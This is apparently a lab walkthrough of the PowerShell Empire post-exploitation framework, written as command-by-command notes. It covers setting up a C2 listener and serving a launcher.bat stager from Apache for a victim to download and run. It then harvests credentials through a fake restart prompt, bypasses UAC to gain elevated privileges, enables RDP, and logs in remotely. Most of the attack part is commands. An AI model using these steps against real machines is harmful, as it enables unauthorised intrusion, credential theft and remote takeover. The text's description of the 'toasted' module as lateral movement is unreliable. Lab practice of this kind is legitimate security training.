Gaining control using PowerShell-Empire

Status	Done
URL	https://github.com/BC-SECURITY/Empire

What is PowerShell-Empire ?

- PowerShell Empire is an open-source post-exploitation framework that allows security professional and penetration testers to gain and maintain control over compromised systems. It provides a wide range of tools and capabilities for offensive security operations.
- PowerShell Empire is designed to exploit the capabilities of PowerShell to establish a foothold on compromised systems and maintain persistence. It provides a command-and-control(C2) infrastructure that allows operators to manage and control compromised systems remotely.
- With PowerShell empire, operators can execute PowerShell based modules and scripts, perform reconnaissance, escalate privileges, exfiltrate data, and perform other post-exploitation activities.

Getting Started with PowerShell Empire

Requirements :

- **Operating System** : PowerShell Empire is primarily designed for use on Linux and Windows systems. It is compatible with various Linux distributions, including Ubuntu, Kali, Debian, and others. For Windows, it supports versions 7, 8.1, 10 and 11.
- **PowerShell :** PowerShell Empire relies on PowerShell, so you need to have PowerShell installed on your system. For Windows systems, PowerShell is generally pre-installed. On Linux, you can install PowerShell using package managers like APT or YUM
- **Python :** PowerShell Empire requires Python 2.7 or later. Most modern Linux distributions come with Python pre-installed. For Windows systems, you may need to manually install Python from the official Python website.
- **Network Connectivity :** PowerShell Empire relies on network communication between the attacker (operator) and compromised systems. Ensure that your system has network connectivity to establish the command-and-control infrastructure.

Installing PowerShell Empire

- Installing PowerShell Empire involves a few steps. Here's a general overview of the installation process :
- Prepare the Environment :
- Ensure you have a compatible operating system, such as Linux (e.g., Ubuntu, Debian) or Windows(7, 8.1, or 10).
- Install or update PowerShell on your system.
- Install or update Python 2.7 or later.
- Download the Repository :
    - Clone the PowerShell Empire repository form the official GitHub page using the following command :

```
git clone https://github.com/PowerShellEmpire/Empire.git
```

    - When cloning this repository, you will need to recurse submodules.

```
git clone --recursive https://github.com/BC-SECURITY/Empire.git
```

- Check out the Installation Page for install instructions.

  Note: The `main` branch is a reflection of the latest changes and may not always be stable. After cloning the repo, you can checkout the latest stable release by running the `setup/checkout-latest-tag.sh` script.

```
git clone --recursive https://github.com/BC-SECURITY/Empire.git
cd Empire
./setup/checkout-latest-tag.sh
sudo ./setup/install.sh
```

Server

```
# Start Server
./ps-empire server

# Help
./ps-empire server -h
```

Client

```
# Start Client
./ps-empire client

# Help
./ps-empire client -h
```

Check out the Empire Docs for more instructions on installing and using with Empire. For a complete list of changes, see the changelog.

Starting an Exploit

> 💡 Note : #1 → Represents terminal 1, #2 → Terminal 2, and similarly #3 → Terminal 3

- Open a Terminal Window :
  - Launch the Terminal application in Linux (I've used Kali Linux). You can usually find it in the Application menu or by searching for "Terminal" in the system search.
- Run the Command :
  - In the Terminal, enter the following command :

```
#1. Terminal 1
sudo powershell-empire server
```

  - The `sudo` command is used to execute the following command with administrative privileges.
  - `powershell-empire` is the command to start PowerShell Empire server.
- Authenticate the Password :
  - When you run the command with `sudo` , it will prompt you to enter your password.
  - Provide the password associated with your user account in Kali Linux and press Enter.
- PowerShell Server Output :
  - After authenticating, the PowerShell Empire server will start.
  - The Terminal will display the console output of the PowerShell Empire server.
  - The output may include information about the server's configuration and status.
- Once, server is online launch another terminal in the same manner as before.
- Run the command :
  - In the Terminal, enter the following command :

```
#2. Terminal 2
sudo powershell-empire client
```

- PowerShell Empire client console :
  - After authenticating, the PowerShell Empire client will start
  - The Terminal will display the console output of the PowerShell Empire client.
  - The client console provides an interface to connect to and interact with a running PowerShell Empire server.
- Access the PowerShell Empire client console
  - Once the server is running, you can access the PowerShell Empire client console.
- Select the HTTP listener :
  - In the PowerShell Empire console, use the `listeners` command to view the available listeners.
  - Identify the HTTP listener you want to use, which should have the type `http`
- Set the selected listener as active :
  - To set the HTTP listener as active, use the `uselisteners` command followed by the listener name.
  - For example, if the listener name is `http`, you would use :

```
#2. Terminal 2
uselistener http
```

- Set the port for the HTTP listener :
  - Once the HTTP listener is active and configured
  - To set the port for the HTTP listener, use the `set` command followed by the listener name and the desired port number.
  - For example, if the listener is `http` and you want to set the port to 4321, you would use :

```
#2. Terminal 2
set http Port 4321
```

- After the port is set, go ahead and write `execute` in the terminal window

```
#2. Terminal 2
execute
```

- Use the `usestager` command followed by `launcher_bat` to select the Windows Batch Script stager.
- For example,

```
usestager windows/launcher_bat
```

- Use the `listeners` command to view the available listener. It will display a list of existing listeners.
- Set the listener as an HTTP listener :
  - Use the `set` command followed by the listener name and the desired type, which in this case is `http`

```
set listner http
```

- Once the listener is set, go ahead and enter execute and hit “enter”.

Once done, open another terminal (#3),

- Type in the command, `sudo systemctl start apache2.service` ,
- `sudo systemctl start apache2.service` is used to start the Apache web server service in systems that use systemd as the init system, such as Ubuntu and other Linux distributions.

Back again in terminal 2(#2),

- Use the command,

```
sudo mv /var/lib/powershell-empire/client/generated-stagers/launcher.bat /var/www/html/launcher.bat
```

- to move the `launcher.bat` file from the `/var/lib/powershell-empire/client/generated-stagers/` directory to the `/var/www/html/` directory in Linux systems.
- Here's a breakdown of what this command does:
  - `sudo`: Executes the following command with administrative privileges.
  - `mv`: The command used to move or rename files and directories.
  - `/var/lib/powershell-empire/client/generated-stagers/launcher.bat`: The source file path and name. This is the current location of the `launcher.bat` file.
  - `/var/www/html/launcher.bat`: The destination path and name. This is the desired location where you want to move the `launcher.bat` file.

Operations in Victim Machine

- On the victim machine, launch a browser and enter the IP address of the attacker machine followed by `launcher.bat`:

```
192.168.121.42/launcher.bat
```

- This will download a file named "launcher" onto the victim computer.
- Save the file and run it by double-clicking on its icon.

- Back in the attacker machine, check the PowerShell Empire server and client consoles,
- In the PowerShell Empire client console (#2), type in `agents`
  - In PowerShell Empire, the `agents` command is used to list all the active agent sessions that have been established with compromised systems.
  - It provides information about the active agents, such as their session ID, agent type, hostname, username, and more.
- Once an agent is deployed, which means that we are in control of the victim system (almost)
- In the same space (#2), use the `usemodule` command followed by `powershell/collection/toasted` to select the `toasted` module
  - The module "powershell/collection/toasted" in PowerShell Empire is used to perform lateral movement and execute commands on remote systems within a Windows domain environment. It leverages the ToastedRoot technique to execute code in a highly privileged context.
- Set the `VerifyCreds` option to `True` in the "powershell/collection/toasted" module, you can use the following command:

```
set VerifyCreds True
```

- This command sets the `VerifyCreds` option to `True`, indicating that the module should verify the credentials before proceeding with the lateral movement.
- Set the `Agent` option to a specific agent session ID, such as "274L2PBU", you can use the following command:

```
set Agent 274L2PBU
```

- Enter `execute` and hit enter.

Victim machine operations

- There should be a pop up regarding window restart.
- Following the pop up to “yes”, it will ask for confirmation whether you want to restart and enter user credentials.

- Back in Kali Linux (Attacker machine),
- If we would be looking at enabling RDP(Remote Desktop Protocol)

What is RDP(Remote Desktop Protocol) ?

- Remote Desktop protocol (RDP) is a Microsoft-developed protocol that allows users to remotely access and control a computer over a network.
- It provides a graphical interface to interact with a remote system as if you were physically present at the computer.
- RDP is a commonly used for remote administration, support, and remote work scenarios.

Enabling RDP (Remote Desktop Protocol)

- In order to enable RDP on the victim system, we will be using the `enable_rdp` within the `powershell/management` category.
- This module is used for enabling Remote Desktop Protocol (RDP) on a target system.
- To enable RDP module, you can use following commands

```
usemodule powershell/management/enable_rdp
execute
```

Point to be noted, this above set of commands will throw an error somewhat of the format `Error : module need to run in an elevated context`.

- Hence in order to overcome the above error, we need to bump up our user privileges
- To do so, we use three modules `powershell`, `privesc` and `bypassuac`
  - `powershell` : Refers to the PowerShell scripting language, which is the foundation for executing PowerShell commands and scripts withing PowerShell Empire.
  - `privesc` : Short for “privilege escalation”, this module category focuses on techniques and methods used to elevate privileges on a system, gaining higher levels of access and control.

    - `bypassuac` : This specific module within the `privesc` category is designed to bypass User Account Control(UAC), a security feature in Windows that aims to prevent unauthorized changes to the system. By leveraging this module, it may be possible to bypass UAC and execute commands with higher privileges that the current user.

- For example,

```
usemodule powershell/privesc/bypassuac
```

- Use the `set Agent` command to set Agent

```
set Agent 274L2PBU
```

- Accordingly set `Listener` to `http`

```
set Listener http
execute   # hit enter
```

- To check the agents in PowerShell Empire, type the `agent` command. This will list all active agent sessions established with compromised systems and provide information like their session ID, agent type, hostname, username, and more.
- If a new agent is created, an asterisk(*) will appear next to the agent name, indicating elevated privileges in this context. This can be helpful in identifying which agents have higher levels of access and control.
- If the current user does not have sufficient privileges to enable RDP on the victim system, you can use PowerShell Empire to elevate your privileges. To do so, you can use the `powershell/privesc/bypassuac` module, which is designed to bypass User Account Control(UAC), a security feature in Windows that aims to prevent unauthorized changes to the system.
- Once you have elevated privileges, you can try enabling RDP again using the `powershell/management/enable_rdp` module. If the module needs to be run in an elevated context, executing the `powershell/privesc/bypassuac` module beforehand can be helpful.
- In summary, using the `agent` command, identifying agents with elevated privileges, and elevating your own privileges with the `powershell/privesc/bypassuac` module can help enable RDP on a victim system in PowerShell Empire.

```
#2 Terminal 2
interact NGFTWPVX   #NGFTWPVX is the agent with elevated privileges
usemodule powershell/management/enable_rdp
execute
```

- Connect using an RDP service like “xfreerdp”

```
xfreerdp /u:username /p:password /v:victimIPaddr
```

And we’re in…